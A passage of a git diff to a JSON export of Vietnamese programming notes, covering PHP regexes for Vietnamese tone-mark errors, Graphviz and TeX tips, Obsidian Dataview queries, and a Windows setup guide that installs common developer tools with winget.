vào PHP\n\nBình thường thì nếu kiểm tra Regex bắt chính xác đưa vào PHP là sẽ chạy. Nhưng với câu lệnh trên cho vào sẽ ra kết quả không như ý. Mã PHP điều chỉnh phải như bên dưới mới bắt được.\n\nVì viết một mẫu khớp (pattern) sẽ rất dài nên tôi tách ra để bạn tiện theo dõi, và chỉnh sửa nếu cần. Có vẻ mã vẫn chưa tối ưu và cần kiểm tra thêm, dù sao tạm thời có còn hơn không vậy:\n\n```\n// bắt lỗi gío, qúa, qúy-----------------\n\n$r='/^(gí|gì|gỉ|gĩ|gị]|qú|qù|qủ|qũ|qụ|qứ|qừ|qử|qữ|qự)(a|ă|â|e|ê|o|ô|ơ|u|ư|i|y)([a-z]*)/'; \n\n//---------------------------------------\n\n\n\n// bắt lỗi toà, keó, hoạ-----------------------------\n\n$r2='/[bcdfhjklmnprstvxzđ]*[^gq](a|ă|â|e|o|ô|ơ|u|ư|i|y)(á|à|ả|ã|ạ|ắ|ằ|ẳ|ẵ|ặ|ấ|ầ|ẩ|ẫ|ậ|é|è|ẻ|ẽ|ẹ|ó|ò|ỏ|õ|ọ|ố|ồ|ổ|ỗ|ộ|ú|ù|ủ|ũ|ụ|ứ|ừ|ử|ữ|ự|ý|ỳ|ỷ|ỹ|ỵ|í|ì|ỉ|ĩ|ị)$/'; \n\n//---------------------------------------------------\n\n\n\n// bắt lỗi tòan, cừơi, hòang-------------\n\n$r3='/[bcdfhjklmnprstvxzđ]*[^aăâeoôơuưiy](á|à|ả|ã|ạ|ắ|ằ|ẳ|ẵ|ặ|ấ|ầ|ẩ|ẫ|ậ|é|è|ẻ|ẽ|ẹ|ó|ò|ỏ|õ|ọ|ố|ồ|ổ|ỗ|ộ|ú|ù|ủ|ũ|ụ|ứ|ừ|ử|ữ|ự|ý|ỳ|ỷ|ỹ|ỵ|í|ì|ỉ|ĩ|ị)(a|ă|â|ê|e|o|ô|ơ|u|ư|i|y)(a|ă|â|e|o|ô|ơ|u|ư|i|y|b|c|d|f|g|h|k|l|m|n|p|q|r|s|t|v|x)+/'; \n\n//---------------------------------------\n\n\n\n// bắt lỗi cươí, tươí, cuôí---------------------------\n\n$r4='/[bcdfghjklmnpqrstvxzđ]*(a|ă|â|ê|e|o|ô|ơ|u|ư|i|y)(a|ă|â|ê|e|o|ô|ơ|u|ư|i|y)(á|à|ả|ã|ạ|ắ|ằ|ẳ|ẵ|ặ|ấ|ầ|ẩ|ẫ|ậ|é|è|ẻ|ẽ|ẹ|ó|ò|ỏ|õ|ọ|ố|ồ|ổ|ỗ|ộ|ú|ù|ủ|ũ|ụ|ứ|ừ|ử|ữ|ự|ý|ỳ|ỷ|ỹ|ỵ|í|ì|ỉ|ĩ|ị)[bcdfghjklmnpqrstvxz]*/';\n\n//----------------------------------------------------\n\n\n\n// bắt lỗi ê không có dấu trong từ có dấu\n\n$r5='/ê[a-z]*(á|à|ả|ã|ạ|ắ|ằ|ẳ|ẵ|ặ|ấ|ầ|ẩ|ẫ|ậ|é|è|ẻ|ẽ|ẹ|ó|ò|ỏ|õ|ọ|ố|ồ|ổ|ỗ|ộ|ú|ù|ủ|ũ|ụ|ứ|ừ|ử|ữ|ự|ý|ỳ|ỷ|ỹ|ỵ|í|ì|ỉ|ĩ|ị)/';\n\n\n$r6='/(á|à|ả|ã|ạ|ắ|ằ|ẳ|ẵ|ặ|ấ|ầ|ẩ|ẫ|ậ|é|è|ẻ|ẽ|ẹ|ó|ò|ỏ|õ|ọ|ố|ồ|ổ|ỗ|ộ|ú|ù|ủ|ũ|ụ|ứ|ừ|ử|ữ|ự|ý|ỳ|ỷ|ỹ|ỵ|í|ì|ỉ|ĩ|ị)[a-z]*ê/';\n\n//---------------------------------------\n\n\n\n// bắt lỗi ơ không có dấu trong từ có dấu\n\n$r7='/(á|à|ả|ã|ạ|ắ|ằ|ẳ|ẵ|ặ|ấ|ầ|ẩ|ẫ|ậ|é|è|ẻ|ẽ|ẹ|ó|ò|ỏ|õ|ọ|ố|ồ|ổ|ỗ|ộ|ú|ù|ủ|ũ|ụ|ứ|ừ|ử|ữ|ự|ý|ỳ|ỷ|ỹ|ỵ|í|ì|ỉ|ĩ|ị)[a-z]*ơ/';\n\n$r8='/ơ[a-z]*(á|à|ả|ã|ạ|ắ|ằ|ẳ|ẵ|ặ|ấ|ầ|ẩ|ẫ|ậ|é|è|ẻ|ẽ|ẹ|ó|ò|ỏ|õ|ọ|ố|ồ|ổ|ỗ|ộ|ú|ù|ủ|ũ|ụ|ứ|ừ|ử|ữ|ự|ý|ỳ|ỷ|ỹ|ỵ|í|ì|ỉ|ĩ|ị)/';\n```\nNguồn:: [Câu lệnh Regex để bắt lỗi đặt dấu thanh trong tiếng Việt • Kiến càng](https://kiencang.net/cau-lenh-regex-dau-thanh-viet/)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "ZV" + "Ngày tạo": "2023-08-25T07:20:00.000Z", + "Ngày cập nhật": "2024-08-31T08:06:00.000Z", + "id": "dE" }, { - "Tiêu đề": "freeCodeCamp", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/freeCodeCamp", + "Tiêu đề": "Cài PangoCairo trước khi dùng unicode trong Graphviz", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Sắp chữ, thiết kế/Graphviz/Cài PangoCairo trước khi dùng unicode trong Graphviz", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\r\n", + "Toàn bộ nội dung": "- Install expat library (`sudo apt install libexpat1-dev`)\n- Install PangoCairo library (`sudo apt install libpango1.0-dev`)\n- Compile and install Graphviz from [source](https://graphviz.org/download/source):\n\t```bash\n\t./configure --with-pangocairo\n\tmake\n\tsudo make install\n\t```\n\nNguồn:: [[Stack Overflow]], [Why do texts with non-ASCII characters have right padding?](https://stackoverflow.com/a/76630218/3416774)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "ZW" + "Ngày cập nhật": "2024-08-25T13:39:00.000Z", + "id": "dF" }, { - "Tiêu đề": "Google Support", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Google Support", + "Tiêu đề": "Macro dùng để viết tắt", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Sắp chữ, thiết kế/TeX/Engine/Macro dùng để viết tắt", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\r\n", + "Toàn bộ nội dung": "```TeX\n\\def\\say#1{Hello #1!}\n\\say{world}\n```\nKết quả: `Hello world!`", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "ZX" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-25T13:39:00.000Z", + "id": "dG" }, { - "Tiêu đề": "IBM", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/IBM", + "Tiêu đề": "TeX chỉ tạo ra được DVI. pdfTeX, XeTeX, LuaTeX tạo ra được PDF", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Sắp chữ, thiết kế/TeX/Engine/TeX chỉ tạo ra được DVI. pdfTeX, XeTeX, LuaTeX tạo ra được PDF", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Nguồn:: [What is the difference between TeX and LaTeX?](https://tex.stackexchange.com/a/220499/50146)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "ZY" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-25T13:39:00.000Z", + "id": "dH" }, { - "Tiêu đề": "MDN", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/MDN", + "Tiêu đề": "LaTeX đối với TeX cũng giống như jQuery đối với JavaScript", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Sắp chữ, thiết kế/TeX/LaTeX đối với TeX cũng giống như jQuery đối với JavaScript", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n", + "Toàn bộ nội dung": "Nguồn:: [macros - Is LaTeX a programming framework of TeX? - TeX - LaTeX Stack Exchange](https://tex.stackexchange.com/questions/712009/is-latex-a-programming-framework-of-tex?noredirect=1#comment1769475_712009)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-23T14:42:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "ZZ" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-25T13:39:00.000Z", + "id": "dI" }, { - "Tiêu đề": "Phạm Đình Khánh", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Phạm Đình Khánh", + "Tiêu đề": "TeX dùng cho máy in. LaTeX dùng cho tác giả", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Sắp chữ, thiết kế/TeX/TeX dùng cho máy in. LaTeX dùng cho tác giả", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Nguồn:: [When is TeX better than LaTeX? (duplicate)](https://tex.stackexchange.com/a/518802/50146)\n\n[[TeX là ngôn ngữ lập trình cho việc sắp chữ. LaTeX là các macro để việc định dạng được thân thiện hơn]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Za" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-25T13:39:00.000Z", + "id": "dJ" }, { - "Tiêu đề": "Real Python", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Real Python", + "Tiêu đề": "TeX là ngôn ngữ lập trình cho việc sắp chữ. LaTeX là các macro để việc định dạng được thân thiện hơn", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Sắp chữ, thiết kế/TeX/TeX là ngôn ngữ lập trình cho việc sắp chữ. LaTeX là các macro để việc định dạng được thân thiện hơn", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n", + "Toàn bộ nội dung": "In TeX, you learn the **basic things** and use that to do what you want.\n\n[![TeX](https://i.stack.imgur.com/IGvRS.png)](https://i.stack.imgur.com/IGvRS.png)\n\nIn LaTeX, you look for a specific package that already does what you want and use it.\n\n[![LaTeX](https://i.stack.imgur.com/IyGwT.png)](https://i.stack.imgur.com/IyGwT.png)\n\nThe implications are:\n\n- In TeX, you need to learn **all** the basic before being able to do most tasks. Thus the initial learning curve is steep.\n \n - But you also learn how to _program_, thus you have the power of the computer (e.g. doing repetitive task)\n \n LaTeX has e.g. `python` package, but it only has _loose_ integration with the TeX layer (e.g. it's not very easy to measure the width of a box, if you e.g. want to automatically determine column width).\n \n- However, once you've learnt _all_ the basics, you can do everything1, instead of looking up a new package you define your own command to do what you want.\n \n - For a comparison, TeX is a full programming language **(imagine Python)**, and LaTeX is like a DSL (domain-specific language) **(imagine the game engines that allow you to make games without coding)**.\n \n [Wikipedia link for DSL](https://en.wikipedia.org/wiki/Domain-specific_language#External_and_Embedded_Domain_Specific_Languages). (_for whatever reason, at the moment the Wikipedia page lists LaTeX as external domain-specific language, while it's obviously embedded in TeX..._)\n\nNguồn:: [What is the difference between TeX and LaTeX?](https://tex.stackexchange.com/a/638092/50146)\n[[TeX dùng cho máy in. LaTeX dùng cho tác giả]] ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-27T08:14:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Zb" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-25T13:39:00.000Z", + "id": "dK" }, { - "Tiêu đề": "Refactoring.Guru", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Refactoring.Guru", + "Tiêu đề": "TeX", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Sắp chữ, thiết kế/TeX", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "**Refactoring.Guru** makes it easy for you to discover everything you need to know about refactoring, design patterns, SOLID principles, and other smart programming topics.\r\n\r\nThis site shows you the big picture, how all these subjects intersect, work together, and are still relevant. I don’t pretend to be the inventor of these concepts—most of them were invented by others during the past 20 years. But I think that the connection between refactoring, patterns and general programming principles still remains a mystery for the majority of programmers. This is the problem I would like to solve here.\r\n\r\n[Refactoring and Design Patterns](https://refactoring.guru/)\r\n", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"🔠Văn bản, ký tự. Sắp chữ, thiết kế/Sắp chữ, thiết kế/TeX\"\nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[3]\n```\n\n[Often referenced questions](https://tex.meta.stackexchange.com/q/2419/50146)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Zc" + "Ngày tạo": "2024-03-03T05:53:00.000Z", + "Ngày cập nhật": "2024-08-31T14:04:00.000Z", + "id": "dL" }, { - "Tiêu đề": "Stack Overflow", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Stack Overflow", + "Tiêu đề": "WYSIWYM cho phép ta chỉ tập trung vào việc viết nội dung, nhưng đồng thời lại đảm bảo rằng ta sẽ không gặp những lỗi về hình thức mà không biết sửa thế nào", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Sắp chữ, thiết kế/TeX/WYSIWYM cho phép ta chỉ tập trung vào việc viết nội dung, nhưng đồng thời lại đảm bảo rằng ta sẽ không gặp những lỗi về hình thức mà không biết sửa thế nào", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nWHERE contains(nguồn, \"stackoverflow.com\")\nGROUP BY file.folder\n```", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-26T08:42:00.000Z", - "id": "Zd" + "Ngày tạo": "2024-03-03T04:10:00.000Z", + "Ngày cập nhật": "2024-08-25T13:41:00.000Z", + "id": "dM" }, { - "Tiêu đề": "tuhocict", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/tuhocict", + "Tiêu đề": "Tạo bản đồ", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Sắp chữ, thiết kế/Tạo bản đồ", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Mình tìm thấy trang này hay. Người viết là giảng viên và có vẻ chú trọng đến sự bao quát hơn là giới thiệu kỹ thuật nói chung. Ở các bài nhập môn đa phần đều nói về sự thiếu sót của các giáo trình tiếng Việt trước đây. Điều này chứng tỏ rằng họ có sự tách mình ra khỏi sự hối thúc hướng dẫn người khác, để quan sát xem thứ người học nghĩ là họ cần, và thứ người dạy nghĩ là người học cần có đúng là cái mà người học cần hay không.\r\n\r\nVí dụ như ở bài về C#:\r\n> Hiện nay, số lượng tài liệu lập trình C# rất nhiều. Mỗi tài liệu có hướng tiếp cận riêng. Tuy nhiên, các tài liệu tốt nhất đều viết bằng tiếng Anh. Trên mạng Internet bạn cũng có thể dễ dàng tìm thấy rất nhiều nội dung hướng dẫn học lập trình C# tiếng Việt. Tuy nhiên, chúng thường là những blog post hoặc series bài khá rời rạc. Việc tự học theo các website hoặc blog như vậy khá khó khăn và thiếu bài bản.\r\nhttps://tuhocict.com/huong-dan-tu-hoc-lap-trinh-c-sharp/\r\n\r\nVí dụ khác ở bài về PHP:\r\n> Do ngôn ngữ lập trình PHP sử dụng chủ yếu trong phát triển ứng dụng web, các tài liệu dạy lập trình PHP ngay từ đầu sẽ gắn với xây dựng ứng dụng web. Cách tiếp cận này có một nhược điểm.\r\n> \r\n> Ứng dụng web phức tạp với nhiều thành phần viết bằng nhiều ngôn ngữ: phần nội dung được diễn đạt bằng HMTL; phần hình thức được chỉ định qua CSS; thành phần xuất nhập dữ liệu chạy trên trình duyệt; thành phần xử lý (viết bằng PHP) chạy trên web server.\r\n> \r\n> Như vậy, để học ngôn ngữ lập trình PHP, bạn đồng thời cũng phải học và hiểu tất cả các thành phần liên quan.\r\n> \r\n> Dĩ nhiên, để học phát triển ứng dụng web, bạn phải biết tất cả các vấn đề trên. Tuy nhiên, với mục đích học ngôn ngữ PHP, chúng lại trở thành yếu tố nhiễu gây cản trở việc tiếp thu các vấn đề của riêng ngôn ngữ PHP.\r\nhttps://tuhocict.com/huong-dan-tu-hoc-lap-trinh-php/\r\n\r\nNhóm biên soạn nhấn mạnh là đây không phải là dành cho người mới, mà là cho người đã có nền tảng rồi. Phải nói là may mắn là mình có tự học trước về JS rồi nên giờ mới hiểu được. Mình đọc bài giới thiệu về .NET thấy hiểu ra nhiều thứ.\r\n", + "Toàn bộ nội dung": "- [Perilous Shores](https://watabou.github.io/perilous-shores/?seed=2006422892&tags=peninsula,woodland,neutral,perilous&name=Qu%E1%BA%A3%20C%E1%BA%A7u&hexes=1)\n- [dusty sea](https://watabou.github.io/perilous-shores/?seed=34941435&tags=bay,chaotic,perilous)\n- [gloomy tarm](https://watabou.github.io/perilous-shores/?seed=527587900&tags=lake,highland,wetland,woodland,neutral,perilous)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Ze" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-25T13:56:00.000Z", + "id": "dN" }, { - "Tiêu đề": "Tự ngẫm nghĩ, trải nghiệm", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Tự ngẫm nghĩ, trải nghiệm", + "Tiêu đề": "Chỉnh link distance nhỏ nhất và link force lớn nhất để thấy rõ từng cụm nút", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Trình soạn thảo (Obsidian)/Chỉnh link distance nhỏ nhất và link force lớn nhất để thấy rõ từng cụm nút", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" @@ -36822,1165 +40647,1165 @@ "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-24T05:34:00.000Z", - "id": "Zf" + "Ngày tạo": "2023-11-28T04:12:00.000Z", + "Ngày cập nhật": "2024-09-02T07:14:00.000Z", + "id": "dO" }, { - "Tiêu đề": "Viblo", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Viblo", + "Tiêu đề": "Nên dùng H1 hoặc YAML title làm tiêu đề hơn là filename", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Trình soạn thảo (Obsidian)/Nên dùng H1 hoặc YAML title làm tiêu đề hơn là filename", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n", + "Toàn bộ nội dung": "Nguồn:: [Use H1 or YAML property \"title\" instead of or in addition to filename as display name - Feature requests - Obsidian Forum](https://forum.obsidian.md/t/use-h1-or-yaml-property-title-instead-of-or-in-addition-to-filename-as-display-name/687/117)\n\nDùng plugin [Front Matter Title](https://github.com/snezhig/obsidian-front-matter-title)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Zg" + "Ngày cập nhật": "2024-09-01T14:13:00.000Z", + "id": "dP" }, { - "Tiêu đề": "Wikipedia", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Wikipedia", + "Tiêu đề": "Obsidian dùng CodeMirror", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Trình soạn thảo (Obsidian)/Obsidian dùng CodeMirror", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Nguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Zh" + "Ngày cập nhật": "2024-09-08T14:39:00.000Z", + "id": "dQ" }, { - "Tiêu đề": "✍️Lập trình", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/✍️Lập trình", + "Tiêu đề": "this liệt kê tất cả những dữ liệu mà Dataview đọc được", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Trình soạn thảo (Obsidian)/this liệt kê tất cả những dữ liệu mà Dataview đọc được", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\r\nLIST rows.file.link\r\nFROM \"✍️Lập trình\" \r\nWHERE file.name!=this.file.name\r\ngroup by split(file.folder,\"/\")[1] \r\n```\r\n", + "Toàn bộ nội dung": "Với Dataviewjs thì nó tương đương với `dv.current()`\n\nĐây là `this`:\n`$=dv.span(dv.current())`\n\nTrong lập trình, [[Vật thể được tạo nên bởi những thuộc tính]]. `this` là tên của vật thể quan trọng nhất trong Dataview.", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-08-25T07:20:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Zi" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T10:42:00.000Z", + "id": "dR" }, { - "Tiêu đề": "Template tạo vault và website mới", - "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/Template tạo vault và website mới", + "Tiêu đề": "Ưu tiên dùng API của Obsidian hơn là của Node", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Trình soạn thảo (Obsidian)/Ưu tiên dùng API của Obsidian hơn là của Node", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## Tạo kho mới\n`Ξ Thiết lập/Ξ Thiết lập.md`:\n```yaml\nTên vault: Tiếp thị số, xử lý dữ liệu và lập trình\nMã vault: C2\nMô tả: Những thứ giúp xây dựng mental model khi phải code một cái gì đó\nURL: https://{{subDomain}}.quảcầu.cc\nGit URL: {{gitUrl}}\n```\n\nEnveloppe:\n\n## Tạo web mới\n- [ ] `_data.yaml`\n- [ ] CNAME\n\n## GitHub\n```\ngit add -A \ngit commit -m \"Khởi tạo\"\ngit tag Cấutrúc0.0.1\n\ngh repo create --public\ngit remote add origin {{gitUrl}}\ngit push -u origin main\n```\n## đối ⊷ thoại\n## Cloudflare", + "Toàn bộ nội dung": "Lý do:: Node không dùng được trên điện thoại\n[[Code giống như các nốt nhạc, engine giống như nhạc công, còn runtime giống như nhạc cụ]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-25T14:01:00.000Z", - "id": "Zj" + "Ngày cập nhật": "2024-09-01T10:42:00.000Z", + "id": "dS" }, { - "Tiêu đề": "1.1 Cài đặt PowerShell, Deno, Python, Git, VS Code", - "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/Trấn Kỳ/1. Cài đặt và sử dụng nhanh/1.1 Cài đặt PowerShell, Deno, Python, Git, VS Code", + "Tiêu đề": "Các template engine và processor sẽ kiếm trong thư mục _includes", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Tạo website/Lume/Các template engine và processor sẽ kiếm trong thư mục _includes", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Cách này dành cho các máy sử dụng Windows 10 trở lên.\r\n## B1: Mở PowerShell\r\n[[Shell là cái vỏ bảo vệ lõi của hệ điều hành]]. [[PowerShell là một ngôn ngữ shell]]. Bạn bấm vào Start, tìm chương trình có tên PowerShell và chọn mục *Run as Administrator*\r\n![](https://i.imgur.com/LYd1b4d.png)\r\n## B2: Cài các chương trình cần thiết\r\nSao chép toàn bộ khối lệnh dưới đây, dán vào PowerShell và bấm Enter. Nó sẽ giúp bạn cài các phần mềm cần thiết mà không cần phải lên trang chủ của chúng tải thủ công từng cái về. \r\n\r\n```\r\nSet-ExecutionPolicy -ExecutionPolicy RemoteSigned\r\nwinget install Microsoft.Powershell\r\nwinget install DenoLand.Deno \r\nwinget install Python.Python.3.11\r\nwinget install Git.Git \r\nwinget install Microsoft.VisualStudioCode\r\n```\r\n## B3: Khởi động lại máy\r\n\r\nTiếp theo:: [[👏Trấn Kỳ/Hướng dẫn sử dụng/1. Cài đặt và sử dụng nhanh/1.2 Lấy code]]\r\n", + "Toàn bộ nội dung": "`_includes` phải ở trong `src`. [[Tất cả mọi thứ đều phải ở trong thư mục src]]\nNguồn:: [The \\_config file - Lume](https://lume.land/docs/configuration/config-file/#includes)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-08-25T07:20:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Zk" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-09-06T15:55:00.000Z", + "id": "dT" }, { - "Tiêu đề": "1.2 Lấy code", - "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/Trấn Kỳ/1. Cài đặt và sử dụng nhanh/1.2 Lấy code", + "Tiêu đề": "Theme cơ bản là những plugin có remote", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Tạo website/Lume/Theme cơ bản là những plugin có remote", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Bởi vì [Lý do viết Trấn Kỳ](https://obsidian.quảcầu.cc/📐 dự án/trấn kỳ/9 blog/lý do viết trấn 